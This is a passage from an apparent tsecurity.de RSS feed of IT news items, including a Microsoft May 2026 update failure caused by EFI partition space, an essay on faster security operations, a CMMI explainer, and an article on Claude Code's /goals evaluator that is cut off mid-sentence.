<li>iOS: end Live Activities when OpenClaw is connected, idle, or disconnected, and show compact attention states for approval-required reconnects. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469191547" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83597" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83597/hovercard" href="https://github.com/openclaw/openclaw/pull/83597">#83597</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Control UI: hide child nav items when collapsing the active sidebar group. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051748466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42167" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42167/hovercard" href="https://github.com/openclaw/openclaw/issues/42167">#42167</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052169484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42223/hovercard" href="https://github.com/openclaw/openclaw/pull/42223">#42223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aroool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aroool">@Aroool</a>.</li>
<li>CI/proof: skip the real-behavior-proof gate for private org maintainers by minting a least-privilege (<code>members: read</code>) GitHub App token and checking active membership in the <code>maintainer</code> team, instead of treating <code>author_association=CONTRIBUTOR</code> as definitively external. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466090722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83418" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83418/hovercard" href="https://github.com/openclaw/openclaw/pull/83418">#83418</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft May security patch fails for some due to boot partition size glitch]]></title>
<description><![CDATA[“Something didn’t go as planned. Undoing changes.” That’s all the clue some Windows 11 users will get when Microsoft’s May Security Update fails to install because of insufficient free space on the EFI System Partition (ESP), leaving their systems unprotected by the dozens of patches it contained...]]></description>
<link>https://tsecurity.de/de/3527310/it-nachrichten/microsoft-may-security-patch-fails-for-some-due-to-boot-partition-size-glitch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527310/it-nachrichten/microsoft-may-security-patch-fails-for-some-due-to-boot-partition-size-glitch/</guid>
<pubDate>Mon, 18 May 2026 22:47:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>“Something didn’t go as planned. Undoing changes.” That’s all the clue some Windows 11 users will get when Microsoft’s May Security Update fails to install because of insufficient free space on the EFI System Partition (ESP), leaving their systems unprotected by the dozens of patches it contained.</p>



<p>This issue affects devices with limited free space available — typically 10MB or less — on the ESP. “On affected devices, the installation might proceed through the initial phases but fail during the reboot phase at approximately 35-36% completion,” <a href="https://learn.microsoft.com/en-us/windows/release-health/status-windows-11-25H2#may-2026-security-update-might-fail-to-install-with-error-0x800f0922" target="_blank" rel="noreferrer noopener">Microsoft said in an advisory</a>. It recommended changing a Windows registry setting to force the update, or to roll back changes and wait for a future update to fix the problem.</p>



<p>Consultants said it was a potentially serious issue given the unexpected exposure and the time the destined-to-fail patch takes to fail to install.</p>



<p>This is the kind of failure that keeps IT leaders up at night, said cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, who serves as executive director of FormerGov. “When a security update cannot install because the operating system misjudges the state of its own boot partition, the problem isn’t only storage. The real problem is trust in the update process,” he said. “This is a basic hygiene failure dressed up as a technical issue. An update that cannot reliably detect available space on the EFI System Partition is not a small miss. It is a reminder that even mature platforms still struggle with dependency awareness and pre-flight validation.”</p>



<p><a href="https://www.gartner.com/en/conferences/emea/security-risk-management-uk/speakers/featured-speakers/eric-grenier" target="_blank" rel="noreferrer noopener">Eric Grenier</a>, senior director analyst at Gartner, recommended increasing the size of the disk partition to 1.5GB so that the update can go ahead. “This should not hamper business needs in terms of the size of usable space for an end user”, he said, adding that it will also enable updating of the Windows Recovery Environment. He warned that Microsoft’s own recommendation could lead to trouble. “I would recommend that if an organization wanted to use the modified registry fix that they not only backup the registry beforehand but also test it on some pilot devices before rolling out to the rest of the environment and even then, I would do a slow phased rollout to be sure nothing breaks,” he said. “This type of fix in a production environment should be done with extreme caution because if done incorrectly, fixes will require hands on the keyboard.”</p>



<p><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO of coding productivity tool vendor Kodezi, says there is a blame on both IT teams and Microsoft.</p>



<p>“Most IT teams reasonably assume that if Windows Update passes its prechecks and starts installation, Microsoft has already validated the system state well enough to avoid a reboot-stage failure. If ESP space is critical to the update succeeding, the updater should have detected and blocked that condition earlier with a clear remediation message,” Khan said. “So while IT environments may contribute to partition pressure over time, Microsoft still owns the orchestration and validation logic that allowed the update to proceed.”</p>



<p>Khan added that this can become a very expensive enterprise IT headache. “That is a design problem for enterprise IT because failure during reboot is much more disruptive than blocking the update before installation begins. From a software maintenance perspective, this is exactly the kind of edge case that becomes expensive at enterprise scale. A small partition constraint on a subset of machines can turn into help desk tickets, rollback cycles, delayed patching, and security exposure.”</p>



<p><a href="https://acceligence.com/talent/profiles/david-neuman/" target="_blank" rel="noreferrer noopener">David Neuman</a>, COO of consulting firm Acceligence, agreed that this is a substantial IT headache.</p>



<p>“The update appears to pass the early phases but then fails during the reboot phase, which means IT may not find out until the endpoint has already burned through the maintenance window time and rolled back. In an enterprise, it becomes a fleet hygiene problem rather than a one-off help desk problem,” he said. “Affected endpoints may remain unpatched while IT burns time diagnosing a failure that should have been explained earlier. The bigger lesson is that boot, recovery, and firmware-adjacent partitions are now part of patch-management hygiene. Mature IT teams should add ESP size and free-space checks to endpoint health reporting, update gold images so new deployments have adequate ESP capacity and treat boot-partition cleanup or resizing as lifecycle engineering rather than break-fix scripting.”</p>



<p>Microsoft did not respond to a request for comment.</p>



<p><em>This article first appeared on <a href="https://www.csoonline.com/article/4172591/microsoft-may-security-patch-fails-for-some-due-to-boot-partition-size-glitch.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft May security patch fails for some due to boot partition size glitch]]></title>
<description><![CDATA[“Something didn’t go as planned. Undoing changes.” That’s all the clue some Windows 11 users will get when Microsoft’s May Security Update fails to install because of insufficient free space on the EFI System Partition (ESP), leaving their systems unprotected by the dozens of patches it contained...]]></description>
<link>https://tsecurity.de/de/3527284/it-security-nachrichten/microsoft-may-security-patch-fails-for-some-due-to-boot-partition-size-glitch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527284/it-security-nachrichten/microsoft-may-security-patch-fails-for-some-due-to-boot-partition-size-glitch/</guid>
<pubDate>Mon, 18 May 2026 22:36:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>“Something didn’t go as planned. Undoing changes.” That’s all the clue some Windows 11 users will get when Microsoft’s May Security Update fails to install because of insufficient free space on the EFI System Partition (ESP), leaving their systems unprotected by the dozens of patches it contained.</p>



<p>This issue affects devices with limited free space available — typically 10MB or less — on the ESP. “On affected devices, the installation might proceed through the initial phases but fail during the reboot phase at approximately 35-36% completion,” <a href="https://learn.microsoft.com/en-us/windows/release-health/status-windows-11-25H2#may-2026-security-update-might-fail-to-install-with-error-0x800f0922" target="_blank" rel="noreferrer noopener">Microsoft said in an advisory</a>. It recommended changing a Windows registry setting to force the update, or to roll back changes and wait for a future update to fix the problem.</p>



<p>Consultants said it was a potentially serious issue given the unexpected exposure and the time the destined-to-fail patch takes to fail to install.</p>



<p>This is the kind of failure that keeps IT leaders up at night, said cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, who serves as executive director of FormerGov. “When a security update cannot install because the operating system misjudges the state of its own boot partition, the problem isn’t only storage. The real problem is trust in the update process,” he said. “This is a basic hygiene failure dressed up as a technical issue. An update that cannot reliably detect available space on the EFI System Partition is not a small miss. It is a reminder that even mature platforms still struggle with dependency awareness and pre-flight validation.”</p>



<p><a href="https://www.gartner.com/en/conferences/emea/security-risk-management-uk/speakers/featured-speakers/eric-grenier" target="_blank" rel="noreferrer noopener">Eric Grenier</a>, senior director analyst at Gartner, recommended increasing the size of the disk partition to 1.5GB so that the update can go ahead. “This should not hamper business needs in terms of the size of usable space for an end user”, he said, adding that it will also enable updating of the Windows Recovery Environment. He warned that Microsoft’s own recommendation could lead to trouble. “I would recommend that if an organization wanted to use the modified registry fix that they not only backup the registry beforehand but also test it on some pilot devices before rolling out to the rest of the environment and even then, I would do a slow phased rollout to be sure nothing breaks,” he said. “This type of fix in a production environment should be done with extreme caution because if done incorrectly, fixes will require hands on the keyboard.”</p>



<p><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO of coding productivity tool vendor Kodezi, says there is a blame on both IT teams and Microsoft.</p>



<p>“Most IT teams reasonably assume that if Windows Update passes its prechecks and starts installation, Microsoft has already validated the system state well enough to avoid a reboot-stage failure. If ESP space is critical to the update succeeding, the updater should have detected and blocked that condition earlier with a clear remediation message,” Khan said. “So while IT environments may contribute to partition pressure over time, Microsoft still owns the orchestration and validation logic that allowed the update to proceed.”</p>



<p>Khan added that this can become a very expensive enterprise IT headache. “That is a design problem for enterprise IT because failure during reboot is much more disruptive than blocking the update before installation begins. From a software maintenance perspective, this is exactly the kind of edge case that becomes expensive at enterprise scale. A small partition constraint on a subset of machines can turn into help desk tickets, rollback cycles, delayed patching, and security exposure.”</p>



<p><a href="https://acceligence.com/talent/profiles/david-neuman/" target="_blank" rel="noreferrer noopener">David Neuman</a>, COO of consulting firm Acceligence, agreed that this is a substantial IT headache.</p>



<p>“The update appears to pass the early phases but then fails during the reboot phase, which means IT may not find out until the endpoint has already burned through the maintenance window time and rolled back. In an enterprise, it becomes a fleet hygiene problem rather than a one-off help desk problem,” he said. “Affected endpoints may remain unpatched while IT burns time diagnosing a failure that should have been explained earlier. The bigger lesson is that boot, recovery, and firmware-adjacent partitions are now part of patch-management hygiene. Mature IT teams should add ESP size and free-space checks to endpoint health reporting, update gold images so new deployments have adequate ESP capacity and treat boot-partition cleanup or resizing as lifecycle engineering rather than break-fix scripting.”</p>



<p>Microsoft did not respond to a request for comment.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Classic 7 is Windows 10 LTSC cosplaying as Windows 7]]></title>
<description><![CDATA[Uncanny rebuild resurrects the 2009 desktop, complete with support, updates, and licensing questions]]></description>
<link>https://tsecurity.de/de/3523558/it-nachrichten/classic-7-is-windows-10-ltsc-cosplaying-as-windows-7/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3523558/it-nachrichten/classic-7-is-windows-10-ltsc-cosplaying-as-windows-7/</guid>
<pubDate>Sun, 17 May 2026 13:02:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Uncanny rebuild resurrects the 2009 desktop, complete with support, updates, and licensing questions]]></content:encoded>
</item>
<item>
<title><![CDATA[Autonomous systems are finally working. Security is next]]></title>
<description><![CDATA[Waymo recently crossed a major milestone: Over 170 million autonomous miles driven without a single serious crash or injury. For years, autonomous driving was treated as a promise that was always just out of reach — too complex, too risky and not ready for the real world. That argument is no long...]]></description>
<link>https://tsecurity.de/de/3519217/it-security-nachrichten/autonomous-systems-are-finally-working-security-is-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3519217/it-security-nachrichten/autonomous-systems-are-finally-working-security-is-next/</guid>
<pubDate>Fri, 15 May 2026 12:10:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Waymo recently crossed a major milestone: Over 170 million autonomous miles driven without a single serious crash or injury. For years, autonomous driving was treated as a promise that was always just out of reach — too complex, too risky and not ready for the real world. That argument is no longer credible. Autonomous systems are now outperforming humans in high-speed, high-volume environments. That is not because they are perfect, but because they are faster in the moments that matter.</p>



<p>This is not an article about autonomous cars. Security is approaching the same transition.</p>



<h2 class="wp-block-heading"><a></a>The problem was never detection</h2>



<p>For the last decade, the security industry has focused on detection. The emphasis has been on generating more alerts, improving signal quality and expanding coverage. These efforts have been meaningful, but we are approaching a saturation point. Despite continued progress in detection, defenders are still falling behind while attackers retain the advantage.</p>



<p>According to<a href="https://www.crowdstrike.com/en-us/global-threat-report/"> CrowdStrike</a>, lateral movement can now occur in an average of just 29 minutes. Within that window, the difference between understanding and uncertainty determines whether an incident is contained or escalates. Visibility remains important, but the ability to move through the OODA loop — understand, orient, decide and act — within an increasingly compressed time window matters more.</p>



<p>Security teams are not constrained by a lack of alerts or data; they are constrained by a lack of answers. Each alert initiates a process that requires analysts to pivot across tools, assemble fragmented context, reconstruct events and determine impact. This process is fundamentally time-bound and in most environments, it still takes hours.</p>



<p>Attackers operate on a much shorter timeline, creating a structural asymmetry that human-driven investigation cannot match. The industry has not failed to improve detection; it has misidentified the primary constraint. Investigation speed is the limiting factor.</p>



<h2 class="wp-block-heading"><a></a>Security still runs at human speed</h2>



<p>Despite advances in infrastructure, cloud and AI, the underlying workflow of security operations has not fundamentally changed. At its core, security still operates as a human-driven process: Alerts are generated, analysts investigate, context is assembled manually and decisions are made under pressure. This model was sufficient when environments were smaller and attacker velocity was lower, but it breaks down under modern conditions.</p>



<p>Today’s environments generate a volume and diversity of signals that exceed what manual investigation can process within the time window that matters. The limitation is not access to data, but the ability to assemble and interpret it fast enough to act. As a result, teams struggle to move from observation to orientation in time, delaying downstream decisions and response.</p>



<h2 class="wp-block-heading"><a></a>Compressing observation and orientation</h2>



<p>In a traditional workflow, an alert indicating unusual access to a production workload initiates a sequence of actions — analysts query logs, correlate identity activity, review system changes and attempt to build a timeline. Each step introduces latency, slowing the transition from observation to orientation.</p>



<p>In modern systems, investigation can begin with a structured understanding of the event itself. The investigative sequence is absorbed into the system. By the time the alert is presented, the relevant context has already been assembled: The identity involved, the access path, the changes made and whether the behavior aligns with established patterns or represents risk.</p>



<p>The role of the analyst shifts accordingly, too. Instead of reconstructing events, the analyst evaluates a completed analysis and determines the appropriate response. This compresses the first half of the OODA loop, allowing teams to move from observation to decision with significantly less friction. It reduces latency, improves consistency and aligns the speed of decision-making with the speed of the environment.</p>



<h2 class="wp-block-heading"><a></a>From decision to action, without delay</h2>



<p>Accelerating investigation addresses only part of the problem. The remaining challenge is completing the OODA loop. Even when teams reach a decision quickly, action is often delayed by manual processes. Remediation requires coordination across systems, validation of impact and careful execution. In practice, this introduces latency between decision and response.</p>



<p>Agent-based remediation removes this delay. Systems can act directly, with human oversight. Once a decision threshold is met, agents can isolate workloads, revoke credentials, block access paths or enforce policy in real time with the oversight of a human to ensure control. These actions are informed by the same contextual understanding generated during investigation, reducing the risk of overreaction while increasing speed.</p>



<p>This closes the second half of the OODA loop, where decisions are not only made faster, they are executed faster and more consistently.</p>



<h2 class="wp-block-heading"><a></a>AI compresses the timeline further</h2>



<p>As organizations adopt AI, the same constraint becomes more severe. These risks do not introduce a new problem; they accelerate it. AI-driven applications operate at interaction speed, not infrastructure speed. The environment is no longer just workloads, but interactions between users, models and data.</p>



<p>Risks such as prompt injection, model misuse and unintended data exposure unfold quickly and across distributed surfaces. Those risks require rapid understanding and response, often within a single interaction. Managing them requires the same capability: The ability to execute the OODA loop faster than the threat.</p>



<p>With AI adoption, security systems must observe interactions, orient on intent and context, decide on risk and act in real time. Traditional approaches such as periodic testing or surface-level behavioral observation are insufficient. Continuous validation models are emerging, where security systems actively probe for weaknesses and verify defenses on an ongoing basis.</p>



<h2 class="wp-block-heading"><a></a>Speed becomes the advantage</h2>



<p>Autonomous driving did not succeed because it achieved perfection — it succeeded because it demonstrated better outcomes in critical scenarios. Waymo did not win by seeing more data or generating better alerts; it won by collapsing the time between perception, decision and action faster than a human driver could.<br><br>Security is undergoing the same transition. In environments where attackers operate on minute-scale timelines, workflows that depend on human-speed completion of the OODA loop are structurally disadvantaged.  The future of security will not be defined by better visibility or more precise detection. It will be defined by systems that can observe, orient, act and decide — end-to-end — faster than attackers can exploit the environment.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is CMMI? A model to optimize development processes]]></title>
<description><![CDATA[What is CMMI?



The Capability Maturity Model Integration (CMMI), a process and behavioral model, was developed by the Software Engineering Institute at Carnegie Mellon University as a process improvement tool for projects, divisions, or organizations. The DoD and US government helped develop th...]]></description>
<link>https://tsecurity.de/de/3519183/it-nachrichten/what-is-cmmi-a-model-to-optimize-development-processes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3519183/it-nachrichten/what-is-cmmi-a-model-to-optimize-development-processes/</guid>
<pubDate>Fri, 15 May 2026 12:02:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is CMMI?</h2>



<p>The Capability Maturity Model Integration (CMMI), a process and behavioral model, was developed by the Software Engineering Institute at Carnegie Mellon University as a process improvement tool for projects, divisions, or organizations. The DoD and US government helped develop the CMMI, which is a common requirement for DoD and US government software development contracts. The CMMI is currently administered by the CMMI Institute, purchased by the ISACA in 2016.</p>



<h2 class="wp-block-heading">CMMI model</h2>



<p>The CMMI is designed to help improve performance by providing businesses with all they need to consistently develop better products and services. But the CMMI is a behavioral model as well as a process model. Businesses can use the CMMI to tackle the logistics of improving performance by developing measurable benchmarks, but it can also help create a structure to encourage productive and efficient behavior throughout the organization.</p>



<h2 class="wp-block-heading">CMMI AI Maturity (AIM) framework</h2>



<p>At the forthcoming Capability Creates 2026 conference in Washington, DC, in June, the ISACA will unveil the CMMI AI Maturity (AIM) framework, where attendees will be the first to hear insights from pilot participants of it. The new framework is designed to govern AI at scale amid the rapid growth of AI, addressing risk, compliance, performance, consistency, and trust around AI usage, development, acquisition, and integration. It’ll also introduce updated CMMI appraisal methods for organizations to assess AI maturity across domains, analyze AI performance, and develop best practices around integrating AI into current systems.</p>



<p>The AIM initiative, developed by the CMMI AI Working Group, consists of 25 industry experts sponsored by IBM Global and KPMG, who’ve focused on researching and establishing best practices around AI, ML, automation, ethics, DevSecOps, testing, threat analysis, and advanced manufacturing. It also builds on the existing CMMI Performance Solutions ecosystem, helping businesses address the growing use of AI in enterprise systems, services, and products, especially in government settings. With the framework, IT leaders can ensure AI initiatives are implemented with consistency and transparency, with a focus on AI ethics.</p>



<p>All 31 practice areas in the CMMI now include AI-related content with a total of 157 AI context-specific additions, allowing for more consistency around AI considerations across organizations. The model now features AI usage scenarios to help organizations understand how it can apply internally, from using AI to assist with human activities, to fully autonomous AI systems that work independently. The new framework will apply to organizations either building internal AI solutions or planning to acquire and integrate AI into current systems and services.</p>



<p>Two new courses will be added to the established certification pathways to better integrate AI training, and existing CMMI certification holders won’t be impacted unless they choose to extend their certifications to include CMMI AIM.</p>



<p>The new courses include:</p>



<ul class="wp-block-list">
<li>Building AI Maturity (BAIM): A hybrid online and in-person course that focuses on AI concepts, data quality, responsible and ethical AI, regulations, and managing AI initiatives.</li>



<li>Appraising AI Maturity (AAIM): An advanced course for certified CMMI lead appraisers designed to cover topics including scoping, appraisal planning, performance analysis, and sustaining AI-driven improvement.</li>
</ul>



<h2 class="wp-block-heading">CMMI maturity levels</h2>



<p>The CMMI model breaks down organizational maturity into five levels. For businesses that embrace CMMI, the goal is to raise the organization up to Level 5, the optimizing maturity level. Once businesses reach this level, they aren’t done with the CMMI. Instead, they focus on maintenance and regular improvements.</p>



<p>CMMI’s maturity levels:</p>



<ul class="wp-block-list">
<li><strong>Maturity level 0 – Incomplete:</strong> Work may or may not get completed. Goals haven’t been established and processes are only partly formed or don’t meet organizational needs.</li>



<li><strong>Maturity level 1 – Initial:</strong> Processes are viewed as unpredictable and reactive. Work gets completed but it’s often delayed and over budget. This is the worst stage a business can find itself in — an unpredictable environment that increases risk and inefficiency.</li>



<li><strong>Maturity level 2 – Managed:</strong> There’s a level of project management achieved. Projects are planned, performed, measured and controlled, but there are still many issues to address.</li>



<li><strong>Maturity level 3 – Defined:</strong> Organizations are more proactive than reactive. There’s a set of organization-wide standards to provide guidance across projects, programs, and portfolios. Businesses understand their shortcomings, how to address them, and what the goal is for improvement.</li>



<li><strong>Maturity level 4 – Quantitatively managed:</strong> This stage is more measured and controlled. The organization is working off quantitative data to determine predictable processes that align with stakeholder needs. The business is ahead of risks, with more data-driven insight into process deficiencies.</li>



<li><strong>Maturity level 5 – Optimizing:</strong> Here, an organization’s processes are stable and flexible, and it’ll be in a constant state of improving and responding to changes or other opportunities. The organization is stable, which allows for more agility and innovation in a predictable environment.</li>
</ul>



<p>Once organizations hit levels 4 and 5, they’re considered high maturity, where they’re continuously evolving, adapting and growing to meet the needs of stakeholders and customers. That’s the goal of the CMMI, to create reliable environments, where products, services, and departments are proactive, efficient, and productive.</p>



<p>Go <a href="https://www.cio.com/article/222225/cmmi-maturity-levels-a-guide-to-optimizing-development-processes.html">here</a> for a deeper look.</p>



<h2 class="wp-block-heading">CMMI capability levels</h2>



<p>The CMMI also has capability levels used to appraise an organization’s performance and process improvement as it applies to an individual practice area outlined in the CMMI model. It can help bring structure to process and performance improvement, and each level builds on the last, similar to the maturity levels to appraise an organization.</p>



<p>The capability levels are:</p>



<ul class="wp-block-list">
<li><strong>Capability level 0 – Incomplete:</strong> Inconsistent performance and an incomplete approach to meeting the intent of the practice area.</li>



<li><strong>Capability level 1 – Initial:</strong> Organizations start to address performance issues in a specific practice area, but there’s not a complete set of practices in place.</li>



<li><strong>Capability level 2 – Managed:</strong> Progress is starting to show and there’s a full set of practices in place that specifically addresses improvement in the practice area.</li>



<li><strong>Capability level 3 – Defined:</strong> A focus on achieving project and organizational performance objectives, and clear organizational standards in place to address projects in that practice area.</li>
</ul>



<h2 class="wp-block-heading">Updated CMMI V3.0</h2>



<p>In 2023, ISACA released the most recent version of the CMMI, Version 3.0, which focuses more heavily on performance needs and how they impact the business. There’s information on how to establish performance goals, and then track those goals to make sure they’re achieved at all levels of business maturity.</p>



<p>Version 3.0 also integrates better with agile and Scrum processes, with a focus on safety and security. If you already have an agile practice in place, the CMMI V3.0 will help you work around or improve established processes that already work for your business. It also aims to lower the overall cost of appraisals, shorten the time it takes to appraise an organization, and cut back on technical knowledge, so it’s easier for those outside of the tech industry to understand it.</p>



<p>The ISACA and CMMI Institute also included more information on how to demonstrate ROI, so leaders can get other executives on board. Performance benchmarks and goals outlined in the CMMI can help businesses ensure all projects and processes are cost-effective or profitable. The latest version is also easier to deploy across an organization with updated, user-friendly, and customizable online platforms and tools that provide guidance to adopt CMMI or transition to V3.0 from earlier versions. It’s also available in several translated languages.</p>



<h2 class="wp-block-heading">CMMI certifications</h2>



<p>CMMI certifications are offered directly through the CMMI Institute, which certifies individuals, appraisers, instructors, and practitioners. The CMMI Institute offers the following certifications:</p>



<ul class="wp-block-list">
<li>The CMMI Associate Certification demonstrates your commitment and abilities when it comes to capability and performance improvement. It validates that you have the skills and knowledge to connect the CMMI model to business value, and to participate as an appraisal team member.</li>



<li>The CMMI Certified Practitioner certification requires completion of the Building Organizational Capability training course, validating your commitment to performance improvement and ability to take on more responsibility with performance management.</li>



<li>The next level of certification is the CMMI Professional certification, which demonstrates your ability to apply the CMMI model in an organization structure through road maps for performance, team coaching, organizational change management, and fostering a culture of improvement.</li>



<li><strong>C</strong>ertified CMMI Lead Appraisers are qualified to appraise organizations to determine their capability or maturity level as outlined in the CMMI model. Applications are reviewed by the ISACA appraiser application review committee, which evaluates your qualifications for the certification.</li>



<li>The Certified CMMI Instructor certification enables you to lead instructional courses on CMMI. You’ll need a sponsoring organization that’s also an ISACA partner and licensed for use of the CMMI product suite to qualify for the exam.</li>
</ul>



<p>For more on CMMI certifications, click <a href="https://www.cio.com/article/222324/cmmi-certifications-guide.html">here</a>.</p>



<h2 class="wp-block-heading">CMMI tools</h2>



<p>The CMMI Institute authorizes third-party organizations to sell CMMI tools and services. The list of approved vendors is extensive, and you can <a href="https://partners.cmmiinstitute.com/find-partner-organization/" target="_blank" rel="nofollow">search by product, location, and language</a> on the CMMI Institute website. </p>



<p>The type of CMMI tools that work best for your organization depends on your business’s needs. Following the CMMI, you’ll identify the best ones during Maturity Level 2 or 3. At this point, your CMMI consultant will offer recommendations or help you design customized tools based on extensive research. The most common category you’ll need to consider include:</p>



<ul class="wp-block-list">
<li>Project and document management</li>



<li>Bug tracker</li>



<li>Estimation</li>



<li>Requirement and design management</li>



<li>Decision and analysis tools</li>



<li>Metrics tools</li>



<li>Integration application</li>
</ul>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump’s Tech Posse in China, Who’s Winning in Musk v. Altman, and Hantavirus Conspiracy Theories]]></title>
<description><![CDATA[Today on Uncanny Valley, we discuss how Donald Trump’s visit to China could influence conversations between world leaders at a moment when the economic and foreign policy stakes couldn’t be higher.]]></description>
<link>https://tsecurity.de/de/3517700/it-nachrichten/trumps-tech-posse-in-china-whos-winning-in-musk-v-altman-and-hantavirus-conspiracy-theories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517700/it-nachrichten/trumps-tech-posse-in-china-whos-winning-in-musk-v-altman-and-hantavirus-conspiracy-theories/</guid>
<pubDate>Thu, 14 May 2026 21:16:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Today on Uncanny Valley, we discuss how Donald Trump’s visit to China could influence conversations between world leaders at a moment when the economic and foreign policy stakes couldn’t be higher.]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Code's '/goals' separates the agent that works from the one that decides it's done]]></title>
<description><![CDATA[A code migration agent finishes its run, and the pipeline looks green. But several pieces were never compiled — and it took days to catch. That's not a model failure; that's an agent deciding it was done before it actually was.Many enterprises are now seeing that production AI agent pipelines fai...]]></description>
<link>https://tsecurity.de/de/3517638/it-nachrichten/claude-codes-goals-separates-the-agent-that-works-from-the-one-that-decides-its-done/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517638/it-nachrichten/claude-codes-goals-separates-the-agent-that-works-from-the-one-that-decides-its-done/</guid>
<pubDate>Thu, 14 May 2026 20:47:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A code migration agent finishes its run, and the pipeline looks green. But several pieces were never compiled — and it took days to catch. That's not a model failure; that's an agent deciding it was done before it actually was.</p><p>Many enterprises are now seeing that production AI agent pipelines fail not because of the models’ abilities but because the model behind the agent decides to stop. Several methods to prevent premature task exits are now available from LangChain, Google and OpenAI, though these often rely on separate evaluation systems. The newest method comes from Anthropic: <a href="https://code.claude.com/docs/en/goal">/goals on Claude Code</a>, which formally separates task execution and task evaluation. </p><div></div><p>Coding agents work in a loop: they read files, run commands, edit code and then check whether the task is done. </p><p>Claude Code /goals essentially adds a second layer to that loop. After a user defines a goal, Claude will continue to turn by turn, but an evaluator model comes in after every step to review and decide if the goal has been achieved. 
</p><h2>The two model split</h2><p>Orchestration platforms from all three vendors identified the same roadblock. But the way they approach these is different. OpenAI leaves the loop alone and lets the model decide when it’s done, but does let users tag on their own evaluators. For LangGraph and Google’s Agent Development Kit, independent evaluation is possible, but requires developers to define the critic node, write up the termination logic and configure observability. </p><p>Claude Code /goals sets the independent evaluator's default, whether the user wants it to run longer or shorter. Basically, the developer sets the goal completion condition via a prompt. For example, /goal all tests in test/auth pass, and the lint step is clean. Claude Code then runs, and every time the agent attempts to end its work, the evaluation model, which is Haiku by default, will check against the condition loop. If the condition is not met, the agent keeps running. If the condition is met, then it logs the achieved condition to the agent conversation transcript and clears the goal. There are only two decisions the evaluator makes, which is why the smaller Haiku model works well, whether it's done or not. </p><p>Claude Code makes this possible by separating the model that attempts to complete a task from the evaluator model that ensures the task is actually completed. This prevents the agent from mixing up what it's already accomplished with what still needs to be done. With this method, Anthropic noted there’s no need for 